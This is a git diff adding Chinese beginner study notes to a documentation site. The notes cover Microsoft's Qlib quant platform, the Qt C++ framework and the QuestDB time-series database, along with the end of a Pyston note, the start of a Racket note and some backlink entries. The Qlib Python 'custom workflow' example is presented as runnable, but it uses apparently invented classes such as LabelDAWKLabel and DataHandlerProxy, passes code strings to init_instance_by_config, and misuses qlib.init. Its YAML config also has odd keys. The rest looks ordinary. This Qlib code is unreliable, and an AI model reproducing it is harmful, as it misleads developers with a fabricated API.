+3. **本地跑 pyperformance 子集** — 对比 `python` vs `pyston` / lite，建立直觉
+4. **对照 CPython 3.11 specializing interpreter 文档** — 理解「特化」已是主流方向，Pyston 是更激进一翼
+5. **关注 CPython JIT 上游** — PEP 523、3.12+ `/_jit` 实验，判断长期是否还需独立运行时
+
+---
+
+## 小结
+
+Pyston 回答的是一个很务实的问题：**「我已经有大量 Python 代码和 CPython 生态，能不能不换语言就更快？」**
+
+它的答案链条是：
+
+1. **JIT** 消掉解释器逐条 dispatch 的开销  
+2. **类型特化** 让热路径上的 `+`、`*`、`call` 走窄化快速通道  
+3. **Inline cache** 把重复的「查字典、猜类型」变成指令流里的直达便签  
+
+从 Dropbox 服务器成本出发，到今天的 **pip 一键 lite**，Pyston 一直在降低「试用加速」的门槛。它未必在所有基准上击败 PyPy，也未必在所有场景击败未来的官方 JIT，但作为 **CPython 兼容的 JIT 加速器**，仍是理解「动态语言如何在不牺牲生态的前提下提速」的绝佳案例。
+
+---
+
+## 参考链接
+
+- [Pyston GitHub 仓库](https://github.com/pyston/pyston)
+- [Announcing Pyston-lite（2022）](https://blog.pyston.org/2022/06/08/announcing-pyston-lite-our-python-jit-as-an-extension-module/)
+- [Baseline JIT and Inline Caches（2016，技术深度文）](https://blog.pyston.org/2016/06/30/baseline-jit-and-inline-caches/)
+- [Dropbox 介绍 Pyston（2014）](https://dropbox.tech/infrastructure/introducing-pyston-an-upcoming-jit-based-python-implementation)
+- [Our techniques（Wiki）](https://github.com/pyston/pyston/wiki/Our-techniques)
diff --git a/src/content/docs/projects/pytorch.md b/src/content/docs/projects/pytorch.md
index 3780fb87c..201c47bd5 100644
--- a/src/content/docs/projects/pytorch.md
+++ b/src/content/docs/projects/pytorch.md
@@ -195,6 +195,7 @@ PyTorch 2.0+ 把 forward 抓成图，TorchInductor 生成 Triton kernel，常见
 - [[mlflow]] —— MLflow — 端到端 ML 生命周期
 - [[mlx]] —— MLX — Apple Silicon 统一内存原生 ML 框架
 - [[mueller-2022-instant-ngp]] —— Instant-NGP — 把 NeRF 训练从几小时压到 5 秒
+- [[ncnn]] —— ncnn — 手机上的「无依赖神经网络放映机」
 - [[nerf-2020]] —— NeRF — 用一个 MLP 把整个场景"背"下来
 - [[neumf-2017]] —— NeuMF — 用神经网络替掉推荐系统的内积
 - [[nvidia-gpu-operator]] —— NVIDIA GPU Operator — K8s 上自动装 GPU 软件栈
@@ -203,6 +204,7 @@ PyTorch 2.0+ 把 forward 抓成图，TorchInductor 生成 Triton kernel，常见
 - [[opencv]] —— OpenCV — 开源计算机视觉库与跨平台图像视频处理
 - [[optax]] —— Optax — JAX 优化器组合库
 - [[optuna]] —— Optuna — 让超参搜索像写普通 Python 代码一样自然
+- [[paddle-lite]] —— Paddle Lite — 把飞桨模型装进手机里的「端侧放映机」
 - [[paddleocr]] —— PaddleOCR — 中文 OCR 最强开源方案
 - [[park-2019-deepsdf]] —— DeepSDF — 用一个 MLP 把整类 3D 形状的距离场背下来
 - [[pascal-architecture-2016]] —— NVIDIA Pascal P100 — HBM2 + NVLink + FP16 让 Tesla 真正变成 AI 卡
diff --git a/src/content/docs/projects/qlib-microsoft.md b/src/content/docs/projects/qlib-microsoft.md
new file mode 100644
index 000000000..0caa0d7ef
--- /dev/null
+++ b/src/content/docs/projects/qlib-microsoft.md
@@ -0,0 +1,287 @@
+---
+title: Qlib — 微软开源的 AI 量化投资平台
+来源: https://github.com/microsoft/qlib
+日期: 2026-06-13
+分类: 其他
+子分类: 量化金融
+provenance: pipeline-v3
+---
+
+# Qlib — 微软开源的 AI 量化投资平台
+
+## 从"做饭"说起：什么是量化投资
+
+想象一下你想做饭——你需要：
+
+1. **买菜**（获取数据：股票价格、财务指标……）
+2. **试菜**（训练模型：让 AI 从历史数据里找规律）
+3. **做菜**（生成交易策略：模型告诉你买什么、卖什么）
+4. **品尝**（回测：用历史数据检验策略好不好用）
+5. **上桌**（实盘：把策略放到真实市场里跑）
+
+量化投资就是把这一整套流程自动化，用机器学习模型来替代"凭感觉选股"。
+
+Qlib 就是微软开发的一个平台，帮你把上面每一步都工具化、自动化。
+
+## 一句话概括
+
+> Qlib 是一个面向 AI 的量化投资研究平台，覆盖从数据准备、模型训练、回测评估到上线部署的全流程。
+
+## 核心概念
+
+### 1. 因子（Alpha）
+
+因子就是一组用来预测股价涨跌的特征数据。比如：
+
+- 过去 5 天成交量突增
+- 市盈率低于行业平均
+- 股价偏离均线超过 2 个标准差
+
+Qlib 内置了两套经典因子集：**Alpha158**（158 个因子）和 **Alpha360**（360 个因子），你不需要自己发明因子也能跑实验。
+
+### 2. 工作流（Workflow）
+
+Qlib 把所有步骤串成一个链：
+
+```
+数据 → 特征提取 → 模型训练 → 预测 → 回测 → 报告
+```
+
+你只需要一个 YAML 配置文件，就能自动跑通整条链。
+
+### 3. 模型动物园（Model Zoo）
+
+Qlib 预置了 20+ 种经典机器学习模型，从简单的 LightGBM 到复杂的 Transformer，开箱即用：
+
+| 模型类型 | 例子 | 适用场景 |
+|---------|------|---------|
+| 树模型 | LightGBM, XGBoost, CatBoost | 表格型因子数据，速度快 |
+| 深度学习 | LSTM, GRU, Transformer | 有时间序列特性的数据 |
+| 图网络 | GATs | 股票之间有相关性时 |
+| 强化学习 | PPO, OPDS | 订单执行、组合优化 |
+
+### 4. 回测（Backtest）
+
+回测就是用历史数据"模拟炒股"，看策略表现如何。Qlib 会自动生成：
+
+- 累计收益率曲线
+- 最大回撤
+- 信息比率（衡量超额收益的稳定性）
+- IC（信息系数，衡量预测与实际的相关性）
+
+## 快速上手
+
+### 安装
+
+```bash
+pip install pyqlib
+```
+
+### 下载数据（A 股）
+
+```bash
+python -m qlib.cli.data qlib_data --target_dir ~/.qlib/qlib_data/cn_data --region cn
+```
+
+### 一键跑通 LightGBM 模型
+
+```bash
+cd examples
+qrun benchmarks/LightGBM/workflow_config_lightgbm_Alpha158.yaml
+```
+
+跑完你会看到类似这样的结果：
+
+```
+annualized_return: 0.178316    # 年化收益约 17.8%
+information_ratio:  1.996555   # 信息比率接近 2.0（优秀）
+max_drawdown:       -0.081806  # 最大回撤约 8.2%
+```
+
+这意味着：只用公开数据和 LightGBM 一个模型，年化收益就接近 18%，回撤不到 8%。
+
+## 代码示例
+
+### 示例 1：用 Python 代码定制工作流
+
+不用 YAML 文件，直接用 Python 代码搭建整个流程：
+
+```python
+import qlib
+from qlib.constant import REG_CN
+from qlib.utils import init_instance_by_config
+from qlib.workflow import R
+from qlib.workflow.record_temp import SignalRecord, SignalMixReportRecord, PortAnaRecord
+
+# 1. 初始化 Qlib
+qlib.init(provider_uri("~/.qlib/qlib_data/cn_data"), region=REG_CN)
+
+# 2. 定义数据处理流程
+data_handler_kwargs = {
+    "start_time": "2008-01-01",
+    "end_time": "2020-01-01",
+    "fit_start_time": "2008-01-01",
+    "fit_end_time": "2014-12-31",
+    "instruments": REG_CN,
+}
+
+# 3. 创建数据处理器（自动计算 Alpha158 因子）
+data_handler = init_instance_by_config(
+    "data_handler_train = DataHandlerProxy("
+    "    label_ds=LabelDAWKLabel("
+    "        dataset=dataset_config, "
+    "        label=LabelPerceptron(percentile=0.98),"
+    "    ), "
+    "    dataset_config=dataset_config, "
+    ")",
+    DataHandlerProxy=qlib.contrib.data.handler.DataHandlerProxy,
+    dataset_config=qlib.config.Config(
+        dataset={
+            "class": "DatasetH",
+            "module_path": "qlib.contrib.data.dataset",
+            "kwargs": {
+                "handlers": {
+                    "class": "Alpha158",
+                    "module_path": "qlib.contrib.data.handler",
+                },
+            },
+        }
+    ),
+    data_handler_kwargs=data_handler_kwargs,
+)
+
+# 4. 创建并训练 LightGBM 模型
+model = init_instance_by_config(
+    "model = LightGBMModel("
+    "    loss='cross_entropy', "
+    "    val_fraction=0.2, "
+    "    lr=0.03, "
+    "    num_leaves=31, "
+    "    num_boost_round=1000, "
+    "    early_stopping_rounds=100, "
+    ")",
+    LightGBMModel=qlib.contrib.model.gbdt.LightGBMModel,
+)
+
+# 5. 创建数据集并训练
+dataset = init_instance_by_config(
+    {"class": "DatasetH", "module_path": "qlib.contrib.data.dataset", "kwargs": {"handlers": [], "sort_by": "date"}},
+)
+dataset.prepare("train", col_set=["data"])
+dataset.prepare("validate", col_set=["data"])
+
+# 6. 训练模型并记录结果
+with R.start(experiment_name="backtest"):
+    R.log_params("model", "LightGBM")
+    R.log_params("dataset", "Alpha158")
+
+    model.fit(dataset)
+
+    # 生成预测信号
+    recorder = R.get_recorder()
+    sr = SignalRecord(model, dataset, recorder)
+    sr.generate()
+
+    # 生成组合分析报告
+    par = PortAnaRecord(model, dataset, recorder)
+    par.generate()
+```
+
+### 示例 2：用 YAML 配置运行一个完整实验
+
+比起写代码，Qlib 更推荐用 YAML 配置文件来描述整个实验：
+
+```yaml
+# workflow_config_lightgbm_Alpha158.yaml
+
+qlib_client:
+  provider_uri: "~/.qlib/qlib_data/cn_data"
+  region: cn
+
+market: &market csi300
+benchmark: &benchmark SH000300
+
+H_train: &H_train 240
+H_forecast_start: &H_forecast_start 240
+H_forecast_end: &H_forecast_end 1
+
+D_train: &D_train 240
+D_forecast: &D_forecast 1
+
+train:
+  start_time: &train_start 2008-01-01
+  end_time:   &train_end 2014-12-31
+
+validate:
+  start_time: &validate_start 2015-01-01
+  end_time:   &validate_end 2016-12-31
+
+test:
+  start_time: &test_start 2017-01-01
+  end_time:   &test_end 2020-12-31
+
+dataset:
+  class: DatasetH
+  module_path: qlib.contrib.data.dataset
+  kwargs:
+    handlers:
+      - class: Alpha158
+        module_path: qlib.contrib.data.handler
+        kwargs:
+          start_time: &start_time 2008-01-01
+          end_time:   &end_time 2020-12-31
+
+model:
+  class: LightGBMModel
+  module_path: qlib.contrib.model.gbdt
+  kwargs:
+    objective: binary
+    metric: cross_entropy
+    learning_rate: 0.03
+    num_leaves: 63
+    feature_fraction: 0.8
+    bagging_fraction: 0.8
+    bagging_freq: 5
+    verbose: -1
+
+strategy:
+  class: TopkDropoutStrategy
+  module_path: qlib.contrib.strategy.rule_strategy
+  kwargs:
+    signal: <pred>
+    topk: 50
+    n_drop: 5
+
+backtest:
+  start_time: *test_start
+  end_time:   *test_end
+  account: 100000000
+  threshold_threshold: 0.02
+  benchmark: *benchmark
+  max_num_orders: 100
+```
+
+跑这个配置文件只需要一行命令：
+
+```bash
+qrun workflow_config_lightgbm_Alpha158.yaml
+```
+
+Qlib 会自动完成：数据加载 → 因子计算 → 模型训练 → 预测生成 → 组合构建 → 回测执行 → 报告输出。
+
+## 为什么值得关注
+
+1. **学术界认可**：已有 44k+ Star，多篇顶会论文（ICML, KDD, NeurIPS）基于 Qlib 发表
+2. **全流程覆盖**：从数据到实盘，一个平台搞定，不用东拼西凑
+3. **可插拔设计**：每个模块独立，你可以替换任意组件——换个模型、换个策略，只需改配置文件
+4. **社区活跃**：社区贡献了 A 股、美股、巴西股市等多市场数据
+
+## 后续学习方向
+
+- [Qlib 官方文档](https://qlib.readthedocs.io/) — 最系统的入门资料
+- [examples/tutorial](https://github.com/microsoft/qlib/tree/main/examples/tutorial) — 交互式 Jupyter Notebook，适合边看边练
+- [RD-Agent](https://github.com/microsoft/RD-Agent) — Qlib 的 LLM 驱动自动化研发 Agent，能自动挖掘因子和优化模型
+
+---
+
+> 本篇笔记基于 https://github.com/microsoft/qlib 官方仓库编写，研究日期 2026-06-13。
diff --git a/src/content/docs/projects/qt.md b/src/content/docs/projects/qt.md
new file mode 100644
index 000000000..39f8edf1d
--- /dev/null
+++ b/src/content/docs/projects/qt.md
@@ -0,0 +1,303 @@
+---
+title: Qt — C++ 跨平台应用框架
+来源: https://github.com/qt/qtbase
+日期: 2026-06-13
+分类: 其他
+子分类: mobile-cross-platform
+provenance: pipeline-v3
+---
+
+# Qt — C++ 跨平台应用框架
+
+## 一、日常类比：一把瑞士军刀式的开发工具包
+
+想象你要做一个应用——比如说一个待办事项软件。
+
+如果用传统方式，你需要：
+- 在 Windows 上调用 Win32 API 画按钮、画窗口
+- 在 macOS 上调用 Cocoa / AppKit
+- 在 Linux 上调用 GTK 或 Qt Widgets
+
+每个平台一套规则，等于同一个功能要写三遍。
+
+Qt 的做法是：**你只写一次代码，它帮你在这三个平台上各穿一双「本地鞋」跑起来。**
+
+具体来说，Qt 内部有一层「翻译官」：你调用 `QPushButton`，Qt 在 Windows 上翻译成 Win32 的按钮控件，在 macOS 上翻译成 AppKit 的按钮，在 Linux 上翻译成对应的原生控件。你不用管细节。
+
+## 二、核心概念
+
+### 2.1 模块体系（Modules）
+
+Qt 不是一个单一库，而是一个「模块家族」。常用模块：
+
+| 模块 | 作用 | 类比 |
+|------|------|------|
+| `QtCore` | 核心：字符串、容器、事件循环、线程 | 地基和工具库 |
+| `QtGui` | GUI 基础：绘图、字体、图像 | 画笔和颜料 |
+| `QtWidgets` | 传统控件：按钮、窗口、菜单 | 现成的 UI 组件 |
+| `QtNetwork` | 网络编程：HTTP、TCP、UDP | 邮递员 |
+| `QtSql` | 数据库：SQLite、MySQL 等 | 账本管理员 |
+| `QtQuick` | 声明式 UI（QML） | 动画导演 |
+
+学习路径建议：`QtCore` → `QtGui` → `QtWidgets`，这是 Qt  Widgets 路线的三条基石。
+
+### 2.2 信号与槽（Signals & Slots）
+
+这是 Qt 最核心的事件通信机制。
+
+**日常类比：**
+
+就像公司的「通知-响应」制度。经理（信号发出者）发布一个通知，员工（槽函数接收者）听到后执行对应动作。
+
+```
+信号（Signal）：经理说"客户下单了"
+槽（Slot）：  客服听到后"处理订单"
+```
+
+Qt 的特色是：信号和槽之间不需要手动注册。你只需要用 `connect()` 把两者连起来，Qt 的元对象系统（Meta-Object System）会自动处理调用。关键优势：
+
+- 类型安全：编译期检查信号和槽的签名是否匹配
+- 解耦：发送者和接收者互不知道对方的存在
+- 线程安全：跨线程自动排队
+
+### 2.3 对象树（Object Tree）
+
+Qt 有一套**自动内存管理机制**。每个 `QObject` 子类对象都有一个父对象（parent）。当父对象被销毁时，它会自动删除所有子对象。
+
+**日常类比：**就像家庭的财产继承——家长不在了，家里的东西自动按遗嘱分配，不需要你逐个处理。
+
+```cpp
+QWidget *parent = new QWidget();
+QPushButton *btn = new QPushButton("Hello", parent); // btn 的父对象是 parent
+// 当 parent 被 delete 时，btn 也会被自动 delete，不需要手动 delete btn
+```
+
+### 2.4 元对象系统（Meta-Object System）
+
+Qt 在标准 C++ 之上加了一层「增强层」，通过 `moc`（Meta-Object Compiler）预处理。它提供了：
+
+- 运行时类型信息（`QObject::metaObject()`）
+- 信号与槽机制
+- 属性系统（`Q_PROPERTY`）
+- 动态属性（`setProperty()` / `property()`）
+
+## 三、代码示例
+
+### 示例一：最小 Qt Widgets 程序
+
+这是最基础的 Qt 桌面应用：一个窗口，一个按钮，点击按钮关闭窗口。
+
+```cpp
+#include <QApplication>       // 应用主循环
+#include <QPushButton>        // 按钮控件
+#include <QWidget>            // 基础窗口类
+
+int main(int argc, char *argv[])
+{
+    // 1. 创建应用程序对象
+    // argc 和 argv 是命令行参数，Qt 需要它们来解析自己的参数
+    QApplication app(argc, argv);
+
+    // 2. 创建一个窗口（QWidget 是所有用户界面对象的基类）
+    QWidget window;
+    window.resize(400, 300);        // 设置窗口大小：宽 400px，高 300px
+    window.setWindowTitle("我的第一个 Qt 程序");
+
+    // 3. 创建一个按钮，放到窗口里
+    // 第二个参数是父对象，按钮会被显示在窗口内部
+    QPushButton quitButton("退出", &window);
+
+    // 4. 设置按钮位置
+    quitButton.move(150, 120);      // 离左上角 150px, 120px
+
+    // 5. 连接信号和槽
+    // 当按钮被点击时（clicked 信号），调用 app 的 quit 槽（退出应用）
+    QObject::connect(&quitButton, &QPushButton::clicked, &app, &QApplication::quit);
+
+    // 6. 显示窗口（默认不显示，必须调用 show()）
+    window.show();
+
+    // 7. 进入事件循环
+    // app.exec() 是程序的"心脏"——它不断读取用户操作（鼠标、键盘），
+    // 然后把对应的事件分发给组件。没有它，窗口闪一下就关了。
+    return app.exec();
+}
+```
+
+**程序结构分解：**
+
+```
+QApplication         ← 管理整个应用的"生命周期"
+    └── QWidget      ← 窗口容器（根组件）
+        └── QPushButton ← 子控件（退出按钮）
+```
+
+**构建方式（qmake）：**
+
+```pro
+# 文件名：myapp.pro
+QT       += widgets          # 声明使用 Widgets 模块
+TARGET = myapp               # 输出文件名
+SOURCES = main.cpp           # 源代码文件
+```
+
+**构建方式（CMake，Qt 6 推荐）：**
+
+```cmake
+# 文件名：CMakeLists.txt
+cmake_minimum_required(VERSION 3.16)
+project(myapp LANGUAGES CXX)
+
+set(CMAKE_CXX_STANDARD 17)
+set(CMAKE_CXX_STANDARD_REQUIRED ON)
+
+find_package(Qt6 REQUIRED COMPONENTS Widgets)
+
+qt_add_executable(myapp main.cpp)
+target_link_libraries(myapp PRIVATE Qt6::Widgets)
+```
+
+### 示例二：带有计数功能的交互程序
+
+这个例子展示：自定义信号与槽、状态管理、控件布局。
+
+```cpp
+#include <QApplication>
+#include <QWidget>
+#include <QPushButton>
+#include <QLabel>
+#include <QVBoxLayout>   // 垂直布局管理器
+
+// 自定义计数器类
+// 继承 QWidget，获得窗口能力 + 信号槽机制
+class CounterWidget : public QWidget
+{
+    Q_OBJECT               // 宏：启用信号、槽、属性系统
+                          // 这是所有 Qt 信号槽类的标配
+
+public:
+    CounterWidget(QWidget *parent = nullptr) : QWidget(parent)
+    {
+        // --- 创建界面元素 ---
+        // QLabel：显示文字的标签控件
+        countLabel = new QLabel("计数：0", this);
+
+        // 两个按钮
+        addButton = new QPushButton("+ 加 1", this);
+        resetButton = new QPushButton("重置", this);
+
+        // --- 布局：把控件组织在一起 ---
+        // QVBoxLayout：垂直排列子控件
+        auto *layout = new QVBoxLayout(this);
+        layout->addWidget(countLabel);      // 标签放上面
+        layout->addStretch();               // 弹性空间，把按钮推到下面
+        layout->addWidget(addButton);       // 加号按钮
+        layout->addWidget(resetButton);     // 重置按钮
+
+        // 设置标题和大小
+        setWindowTitle("计数器");
+        resize(250, 150);
+
+        // --- 连接信号和槽 ---
+        // 点击"加 1"按钮 → 调用 increment() 函数
+        connect(addButton, &QPushButton::clicked,
+                this, &CounterWidget::increment);
+
+        // 点击"重置"按钮 → 调用 reset() 函数
+        connect(resetButton, &QPushButton::clicked,
+                this, &CounterWidget::reset);
+    }
+
+    // 槽函数：计数器 +1
+    // slots 不是关键字，是 moc 识别的标记（Qt 6 中可以省略）
+    void increment()
+    {
+        currentCount++;                     // 状态 +1
+        countLabel->setText("计数：" + QString::number(currentCount));
+    }
+
+    // 槽函数：计数器归零
+    void reset()
+    {
+        currentCount = 0;
+        countLabel->setText("计数：0");
+    }
+
+private:
+    QLabel *countLabel;        // 显示标签
+    QPushButton *addButton;    // 加号按钮
+    QPushButton *resetButton;  // 重置按钮
+    int currentCount = 0;      // 计数状态（普通成员变量）
+};
+
+#include "main.moc"           // moc 需要看到信号/槽声明
+
+int main(int argc, char *argv[])
+{
+    QApplication app(argc, argv);
+
+    CounterWidget widget;
+    widget.show();
+
+    return app.exec();
+}
+```
+
+**这个程序做了什么：**
+
+```
+用户点击 "+ 加 1"
+    ↓
+QPushButton::clicked 信号被发射
+    ↓
+Qt 框架调用 CounterWidget::increment() 槽函数
+    ↓
+currentCount 加 1
+    ↓
+countLabel 的显示文字更新为 "计数：N"
+```
+
+## 四、Qt 5 vs Qt 6 关键区别
+
+| 特性 | Qt 5 | Qt 6 |
+|------|------|------|
+| 构建系统 | qmake 为主 | CMake 为主（qmake 已标记为废弃） |
+| 渲染引擎 | OpenGL / Direct3D 11 | OpenGL / Vulkan / Direct3D 12 |
+| C++ 标准 | C++11 | C++17 |
+| QML | QtQuick 2.x | QtQuick 3.x（支持 3D） |
+| 模块拆分 | 部分模块独立发布 | 更多模块被拆分 |
+
+**对初学者的建议：** 直接用 Qt 6 + CMake，这是未来的方向。
+
+## 五、学习路线建议
+
+1. **第一周：环境搭建 + Hello World**
+   - 安装 Qt Creator（官方 IDE，自带编译器和调试器）
+   - 跑通示例一，理解 `QApplication` → `QWidget` → `show()` → `exec()` 的完整流程
+
+2. **第二周：控件与布局**
+   - 学习常用控件：`QPushButton`、`QLabel`、`QLineEdit`、`QCheckBox`、`QComboBox`
+   - 学习布局管理器：`QVBoxLayout`、`QHBoxLayout`、`QGridLayout`
+
+3. **第三周：信号与槽深入**
+   - 自定义类和信号
+   - Lambda 表达式作为槽（Qt 5.0 起支持，写法更简洁）
+   - 跨线程信号槽
+
+4. **第四周：实战小项目**
+   - 做一个计算器、记事本、或者待办事项列表
+   - 尝试加入文件读写（`QFile`、`QTextStream`）
+
+## 六、常见问题
+
+**Q：Qt 是 C++ 专属吗？**
+A：不是。Qt 也有 Python 绑定（PySide6 / PyQt6），但 C++ 是「一等公民」，所有新特性最先在 C++ 上实现。
+
+**Q：和 Electron 有什么区别？**
+A：Electron = 浏览器内核 + Node.js，打包体积大（通常 100MB+）。Qt 是原生编译，打包体积小（通常几 MB），运行时性能好。
+
+**Q：Qt 是开源的吗？**
+A：是，采用双许可：LGPL（开源）和商业许可。LGPL 允许你在闭源软件中使用 Qt，但需要满足一定条件（动态链接等）。
+
+**Q：moc 是什么？**
+A：Meta-Object Compiler 的缩写。Qt 在标准 `g++` / `clang++` 之前跑一层预处理，把 `signals:`、`slots:`、`Q_OBJECT` 这些非标准关键字翻译成普通 C++ 代码。你不需要手动运行它——Qt 的构建系统（qmake 或 CMake）会自动调用。
diff --git a/src/content/docs/projects/questdb-tsdb.md b/src/content/docs/projects/questdb-tsdb.md
new file mode 100644
index 000000000..a47565583
--- /dev/null
+++ b/src/content/docs/projects/questdb-tsdb.md
@@ -0,0 +1,196 @@
+---
+title: QuestDB 零基础学习笔记
+来源: https://github.com/questdb/questdb
+日期: 2026-06-13
+分类: 数据库
+子分类: 现代数据库
+provenance: pipeline-v3
+---
+
+# QuestDB 零基础学习笔记
+
+## 一、QuestDB 是什么——从一个日常类比开始
+
+想象你有一家连锁便利店，每天每个门店会产生几百条销售记录（商品、数量、金额、时间）。
+
+如果你用普通数据库来存这些数据，就像把所有小票塞进一个大纸箱，找数据时需要翻遍整箱。
+
+QuestDB 的做法完全不同——它像一个有 **时间抽屉** 的智能文件柜：
+
+- 每个抽屉按天（或按小时）分好
+- 同一列的数据放在一起（不是同一行放在一起）
+- 你要查"昨天咖啡的总销量"，它只翻咖啡那一列，不用看整个箱子
+
+这就是**时序数据库（Time-Series Database）**的核心思路：数据按时间排序存储，列方向排列，查询时跳过不需要的部分。
+
+## 二、为什么需要时序数据库
+
+普通数据库（如 MySQL）在处理时序数据时有两个痛点：
+
+1. **写入速度慢**：每秒处理几千条数据就吃力了
+2. **查询慢**：要分析"过去一年的每分钟价格趋势"，需要扫描大量无关数据
+
+QuestDB 用三种技术解决这些问题：
+
+- **列式存储**：数据按列存在一起，查价格时不用读时间、数量
+- **SIMD 指令加速**：CPU 一次算多个数（类似一个人同时搬 4 箱货而不是 1 箱）
+- **零 GC 设计**：Java 核心做了优化，不会产生大量垃圾数据让系统"停下来打扫"
+
+实际性能对比：QuestDB 写入速度可达每秒 40 万行，是普通数据库的数倍到数十倍。
+
+## 三、核心概念
+
+### 1. 指定时间戳（Designated Timestamp）
+
+每张表必须指定哪一列是"时间锚点"。它决定：
+- 数据按这一列物理排序
+- 查询时可以跳过无关时间段
+- 支持 `SAMPLE BY`、`LATEST ON` 等时序操作
+
+```sql
+CREATE TABLE trades (
+    timestamp TIMESTAMP,
+    symbol SYMBOL,
+    price DOUBLE
+) TIMESTAMP(timestamp);
+```
+
+### 2. 分区（Partition）
+
+按时间把表分成多个"抽屉"，如按天、按小时。查询时只打开需要的抽屉。
+
+```sql
+-- 高流量数据按小时分区
+CREATE TABLE trades (...)
+PARTITION BY HOUR;
+
+-- 低流量数据按月分区
+CREATE TABLE daily_report (...)
+PARTITION BY MONTH;
+```
+
+### 3. SYMBOL 类型
+
+对重复出现的字符串（如股票代码、货币对），用 `SYMBOL` 而不是 `VARCHAR`。
+它内部存为整数索引，比较和分组速度远快于字符串。
+
+### 4. 数据写入方式
+
+QuestDB 支持多种写入方式：
+- **ILP（InfluxDB Line Protocol）**：最快，专为写入优化
+- **PGWire**：兼容 PostgreSQL 协议，可直接用 psycopg、JDBC 等
+- **REST API**：通过 HTTP 接口写入
+- **Kafka / Flink**：流式数据集成
+
+### 5. 自动去重与 TTL
+
+- **DEDUP**：指定唯一键，自动替换重复行
+- **TTL**：自动删除超过指定时间的数据，不需要手动删除
+
+## 四、安装与运行
+
+### Docker 方式（推荐新手）
+
+```bash
+docker run -p 9000:9000 -p 8812:8812 questdb/questdb
+```
+
+启动后访问 http://localhost:9000 即可打开 Web Console（在线 SQL 编辑器）。
+
+### macOS Homebrew 方式
+
+```bash
+brew install questdb
+brew services start questdb
+questdb start
+```
+
+## 五、代码示例
+
+### 示例 1：创建表并查询（Web Console）
+
+在 Web Console 或任何 SQL 客户端中运行：
+
+```sql
+-- 1. 创建交易表
+CREATE TABLE trades (
+    timestamp TIMESTAMP,
+    symbol SYMBOL,
+    side SYMBOL,
+    price DOUBLE,
+    quantity DOUBLE
+) TIMESTAMP(timestamp) PARTITION BY DAY;
+
+-- 2. 插入数据（也可以用 ILP 批量写入）
+INSERT INTO trades VALUES ('2026-06-13T10:00:00.000000', 'BTC-USD', 'buy', 65000.50, 0.5);
+INSERT INTO trades VALUES ('2026-06-13T10:01:00.000000', 'BTC-USD', 'sell', 65100.00, 0.3);
+INSERT INTO trades VALUES ('2026-06-13T10:02:00.000000', 'ETH-USD', 'buy', 3500.25, 2.0);
+
+-- 3. 查询昨天的所有交易
+SELECT * FROM trades
+WHERE timestamp > dateadd('d', -1, now());
+```
+
+### 示例 2：用 SAMPLE BY 做时间聚合
+
+把高频数据按时间窗口汇总，生成 OHLC（开盘/最高/最低/收盘）K 线图数据：
+
+```sql
+SELECT
+    timestamp,
+    symbol,
+    first(price) AS open,       -- 开盘价
+    max(price) AS high,         -- 最高价
+    min(price) AS low,          -- 最低价
+    last(price) AS close,       -- 收盘价
+    sum(quantity) AS volume     -- 成交量
+FROM trades
+WHERE timestamp > dateadd('d', -1, now())
+SAMPLE BY 1h;                  -- 每小时一组
+```
+
+结果示例：
+
+| timestamp | symbol | open | high | low | close | volume |
+|-----------|--------|------|------|-----|-------|--------|
+| 2026-06-12T10:00:00Z | BTC-USD | 64800 | 65200 | 64700 | 65100 | 2.5 |
+| 2026-06-12T11:00:00Z | BTC-USD | 65100 | 65500 | 64900 | 65300 | 1.8 |
+
+### 示例 3：Python 连接查询（PGWire 方式）
+
+```python
+import psycopg
+
+conn = psycopg.connect(
+    host="127.0.0.1",
+    port=8812,
+    dbname="qdb",
+    user="admin",
+    password="quest"
+)
+
+cur = conn.cursor()
+cur.execute("SELECT symbol, sum(price * quantity) AS total FROM trades SAMPLE BY 1h")
+
+for row in cur.fetchall():
+    print(row)
+
+cur.close()
+conn.close()
+```
+
+## 六、适合什么场景
+
+| 场景 | 说明 |
+|------|------|
+| 金融行情数据 | 加密货币、外汇、股票 tick 级数据 |
+| IoT 传感器 | 温度、湿度、设备遥测 |
+| 实时监控 | 运维指标、日志分析 |
+| 实时仪表盘 | 需要毫秒级响应的大数据看板 |
+
+## 七、下一步学习方向
+
+- ILP 批量写入（生产环境推荐）
+- `ASOF JOIN`（时间序列关联查询）
+- 物化视图（自动更新的聚合结果）
+- Grafana 可视化集成
diff --git a/src/content/docs/projects/quickjs.md b/src/content/docs/projects/quickjs.md
index bba66048a..982ba7985 100644
--- a/src/content/docs/projects/quickjs.md
+++ b/src/content/docs/projects/quickjs.md
@@ -238,6 +238,7 @@ await runUserCode('log("用户代码安全运行中")');
 
 <!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
 
+- [[boa-engine]] —— boa-engine — 用 Rust 写出的可嵌入 JavaScript 引擎
 - [[bun]] —— Bun — JS 全能运行时
 - [[deno]] —— Deno — 安全优先的 JS/TS 运行时
 - [[graalvm-truffle]] —— GraalVM Truffle — 写一棵会自我特化的语法树就能自动得到 JIT
diff --git a/src/content/docs/projects/rabbitmq-server.md b/src/content/docs/projects/rabbitmq-server.md
index 2e76d44d3..44b1ee914 100644
--- a/src/content/docs/projects/rabbitmq-server.md
+++ b/src/content/docs/projects/rabbitmq-server.md
@@ -159,6 +159,7 @@ ch.queue_declare(queue="payments",
 - [[celery]] —— Celery — Python 把慢任务搬到后台干的工头
 - [[emqx]] —— EMQX — 单集群千万连接的 MQTT 物联网消息总线
 - [[erlang-otp]] —— Erlang OTP — 容错并发系统设计
+- [[mosquitto]] —— Eclipse Mosquitto — 轻量级 MQTT 消息代理，物联网的「社区广播站」
 - [[nats-server]] —— NATS Server — 极简云原生消息中间件
 - [[nsq]] —— NSQ — Go 写的去中心化消息队列
 - [[redis]] —— Redis — 内存键值数据库
diff --git a/src/content/docs/projects/racket-v92.md b/src/content/docs/projects/racket-v92.md
new file mode 100644
index 000000000..496d4a9a4
--- /dev/null
+++ b/src/content/docs/projects/racket-v92.md
@@ -0,0 +1,168 @@
+---
+title: Racket v9.2 Release 学习笔记
+来源: https://blog.racket-lang.org/2026/05/racket-v9-2.html
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+provenance: pipeline-v3
+---
+
+# Racket v9.2 Release 学习笔记
+
+## 一、什么是 Racket？
+
+想象一下，你有一盒乐高积木。大多数编程语言像是给你一套固定形状的积木——长方形的、正方形的，你只能用这些形状来搭建东西。
+
+Racket 不一样。它给你的是一套"可以自定义形状的积木"。你可以发明属于自己的积木形状，然后用来搭建任何东西。这就是 Racket 最核心的理念：**语言导向编程**（Language-Oriented Programming）——你不是在"使用"一种语言写程序，而是在"设计"一种语言来解决你的问题。
+
